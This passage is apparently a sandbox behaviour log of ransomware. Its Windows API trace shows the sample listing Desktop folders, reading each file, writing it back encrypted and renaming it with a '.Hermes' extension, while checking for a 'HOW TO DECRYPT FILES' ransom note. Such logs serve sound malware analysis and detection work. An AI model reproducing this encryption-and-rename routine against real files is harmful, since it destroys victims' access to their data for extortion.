dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.074] GetFileType (hFile=0x304) returned 0x1 [0091.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd90) returned 1 [0091.074] GetFileType (hFile=0x304) returned 0x1 [0091.074] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19de90 | out: lpFileSizeHigh=0x19de90*=0x0) returned 0x163ec [0091.074] ReadFile (in: hFile=0x304, lpBuffer=0x421f950, nNumberOfBytesToRead=0x163ec, lpNumberOfBytesRead=0x19de3c, lpOverlapped=0x0 | out: lpBuffer=0x421f950*, lpNumberOfBytesRead=0x19de3c*=0x163ec, lpOverlapped=0x0) returned 1 [0091.075] CloseHandle (hObject=0x304) returned 1 [0091.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d954, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19de84 | out: lpFileInformation=0x19de84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv", nBufferLength=0x105, lpBuffer=0x19d83c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv", lpFilePart=0x0) returned 0x4c [0091.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\k6z4sfipab.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.101] GetFileType (hFile=0x304) returned 0x1 [0091.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd7c) returned 1 [0091.101] GetFileType (hFile=0x304) returned 0x1 [0091.101] WriteFile (in: hFile=0x304, lpBuffer=0x40614a8*, nNumberOfBytesToWrite=0x163f0, lpNumberOfBytesWritten=0x19de30, lpOverlapped=0x0 | out: lpBuffer=0x40614a8*, lpNumberOfBytesWritten=0x19de30*=0x163f0, lpOverlapped=0x0) returned 1 [0091.110] CloseHandle (hObject=0x304) returned 1 [0091.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv", lpFilePart=0x0) returned 0x4c [0091.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv.Hermes", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv.Hermes", lpFilePart=0x0) returned 0x53 [0091.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\k6z4sfipab.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19de90 | out: lpFileInformation=0x19de90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbff2ae0, ftCreationTime.dwHighDateTime=0x1d4d5ef, ftLastAccessTime.dwLowDateTime=0x88afa030, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0xafc66843, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x163f0)) returned 1 [0091.113] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\k6z4sfipab.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\k6z4sfipab.mkv.hermes")) returned 1 [0091.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls", nBufferLength=0x105, lpBuffer=0x19d850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls", lpFilePart=0x0) returned 0x51 [0091.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\tfnw1f m7cx1oim.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.114] GetFileType (hFile=0x304) returned 0x1 [0091.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd90) returned 1 [0091.114] GetFileType (hFile=0x304) returned 0x1 [0091.114] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19de90 | out: lpFileSizeHigh=0x19de90*=0x0) returned 0x5f06 [0091.114] ReadFile (in: hFile=0x304, lpBuffer=0x3179244, nNumberOfBytesToRead=0x5f06, lpNumberOfBytesRead=0x19de3c, lpOverlapped=0x0 | out: lpBuffer=0x3179244*, lpNumberOfBytesRead=0x19de3c*=0x5f06, lpOverlapped=0x0) returned 1 [0091.114] CloseHandle (hObject=0x304) returned 1 [0091.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d954, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19de84 | out: lpFileInformation=0x19de84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls", nBufferLength=0x105, lpBuffer=0x19d83c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls", lpFilePart=0x0) returned 0x51 [0091.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\tfnw1f m7cx1oim.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.136] GetFileType (hFile=0x304) returned 0x1 [0091.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd7c) returned 1 [0091.136] GetFileType (hFile=0x304) returned 0x1 [0091.136] WriteFile (in: hFile=0x304, lpBuffer=0x31e3b80*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x19de30, lpOverlapped=0x0 | out: lpBuffer=0x31e3b80*, lpNumberOfBytesWritten=0x19de30*=0x5f10, lpOverlapped=0x0) returned 1 [0091.137] CloseHandle (hObject=0x304) returned 1 [0091.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls", lpFilePart=0x0) returned 0x51 [0091.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls.Hermes", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls.Hermes", lpFilePart=0x0) returned 0x58 [0091.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\tfnw1f m7cx1oim.xls"), fInfoLevelId=0x0, lpFileInformation=0x19de90 | out: lpFileInformation=0x19de90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00d1530, ftCreationTime.dwHighDateTime=0x1d4d57e, ftLastAccessTime.dwLowDateTime=0x472568d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0xafcb2c49, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x5f10)) returned 1 [0091.139] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\tfnw1f m7cx1oim.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\TfNW1f m7CX1OiM.xls.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\tfnw1f m7cx1oim.xls.hermes")) returned 1 [0091.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO", lpFilePart=0x0) returned 0x4d [0091.139] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfedb58 [0091.140] FindNextFileW (in: hFindFile=0xfedb58, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.140] FindNextFileW (in: hFindFile=0xfedb58, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3ffc0, ftCreationTime.dwHighDateTime=0x1d4c942, ftLastAccessTime.dwLowDateTime=0x3e0ed0a0, ftLastAccessTime.dwHighDateTime=0x1d4c7ea, ftLastWriteTime.dwLowDateTime=0x3e0ed0a0, ftLastWriteTime.dwHighDateTime=0x1d4c7ea, nFileSizeHigh=0x0, nFileSizeLow=0x6971, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Mx7zT82zOjgkV9spUg.png", cAlternateFileName="4MX7ZT~1.PNG")) returned 1 [0091.140] FindNextFileW (in: hFindFile=0xfedb58, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cef0c0, ftCreationTime.dwHighDateTime=0x1d4c621, ftLastAccessTime.dwLowDateTime=0x5e0cf760, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0x5e0cf760, ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0xf72b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nVeBdFzvpwwtXC.mp3", cAlternateFileName="NVEBDF~1.MP3")) returned 1 [0091.140] FindNextFileW (in: hFindFile=0xfedb58, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b08b0, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0x49fe55f0, ftLastAccessTime.dwHighDateTime=0x1d4cdfa, ftLastWriteTime.dwLowDateTime=0x49fe55f0, ftLastWriteTime.dwHighDateTime=0x1d4cdfa, nFileSizeHigh=0x0, nFileSizeLow=0xad2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="teY6IrO7ujB.jpg", cAlternateFileName="TEY6IR~1.JPG")) returned 1 [0091.140] FindNextFileW (in: hFindFile=0xfedb58, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.141] FindClose (in: hFindFile=0xfedb58 | out: hFindFile=0xfedb58) returned 1 [0091.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0091.141] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO", nBufferLength=0x105, lpBuffer=0x19d710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO", lpFilePart=0x0) returned 0x4d [0091.141] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\*", lpFindFileData=0x19d984 | out: lpFindFileData=0x19d984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfedf18 [0091.141] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.141] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3ffc0, ftCreationTime.dwHighDateTime=0x1d4c942, ftLastAccessTime.dwLowDateTime=0x3e0ed0a0, ftLastAccessTime.dwHighDateTime=0x1d4c7ea, ftLastWriteTime.dwLowDateTime=0x3e0ed0a0, ftLastWriteTime.dwHighDateTime=0x1d4c7ea, nFileSizeHigh=0x0, nFileSizeLow=0x6971, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Mx7zT82zOjgkV9spUg.png", cAlternateFileName="4MX7ZT~1.PNG")) returned 1 [0091.142] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cef0c0, ftCreationTime.dwHighDateTime=0x1d4c621, ftLastAccessTime.dwLowDateTime=0x5e0cf760, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0x5e0cf760, ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0xf72b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nVeBdFzvpwwtXC.mp3", cAlternateFileName="NVEBDF~1.MP3")) returned 1 [0091.142] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b08b0, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0x49fe55f0, ftLastAccessTime.dwHighDateTime=0x1d4cdfa, ftLastWriteTime.dwLowDateTime=0x49fe55f0, ftLastWriteTime.dwHighDateTime=0x1d4cdfa, nFileSizeHigh=0x0, nFileSizeLow=0xad2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="teY6IrO7ujB.jpg", cAlternateFileName="TEY6IR~1.JPG")) returned 1 [0091.142] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b08b0, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0x49fe55f0, ftLastAccessTime.dwHighDateTime=0x1d4cdfa, ftLastWriteTime.dwLowDateTime=0x49fe55f0, ftLastWriteTime.dwHighDateTime=0x1d4cdfa, nFileSizeHigh=0x0, nFileSizeLow=0xad2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="teY6IrO7ujB.jpg", cAlternateFileName="TEY6IR~1.JPG")) returned 0 [0091.142] FindClose (in: hFindFile=0xfedf18 | out: hFindFile=0xfedf18) returned 1 [0091.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0091.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png", lpFilePart=0x0) returned 0x65 [0091.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\4mx7zt82zojgkv9spug.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.142] GetFileType (hFile=0x304) returned 0x1 [0091.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0091.143] GetFileType (hFile=0x304) returned 0x1 [0091.143] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x6971 [0091.143] ReadFile (in: hFile=0x304, lpBuffer=0x31ec904, nNumberOfBytesToRead=0x6971, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x31ec904*, lpNumberOfBytesRead=0x19db6c*=0x6971, lpOverlapped=0x0) returned 1 [0091.144] CloseHandle (hObject=0x304) returned 1 [0091.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.185] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png", lpFilePart=0x0) returned 0x65 [0091.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\4mx7zt82zojgkv9spug.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.186] GetFileType (hFile=0x304) returned 0x1 [0091.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0091.186] GetFileType (hFile=0x304) returned 0x1 [0091.186] WriteFile (in: hFile=0x304, lpBuffer=0x2faa8ec*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x2faa8ec*, lpNumberOfBytesWritten=0x19db60*=0x6980, lpOverlapped=0x0) returned 1 [0091.188] CloseHandle (hObject=0x304) returned 1 [0091.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png", lpFilePart=0x0) returned 0x65 [0091.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png.Hermes", lpFilePart=0x0) returned 0x6c [0091.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\4mx7zt82zojgkv9spug.png"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3ffc0, ftCreationTime.dwHighDateTime=0x1d4c942, ftLastAccessTime.dwLowDateTime=0x3e0ed0a0, ftLastAccessTime.dwHighDateTime=0x1d4c7ea, ftLastWriteTime.dwLowDateTime=0xafd25367, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x6980)) returned 1 [0091.189] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\4mx7zt82zojgkv9spug.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\4Mx7zT82zOjgkV9spUg.png.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\4mx7zt82zojgkv9spug.png.hermes")) returned 1 [0091.190] GetFullPathNameW (in: 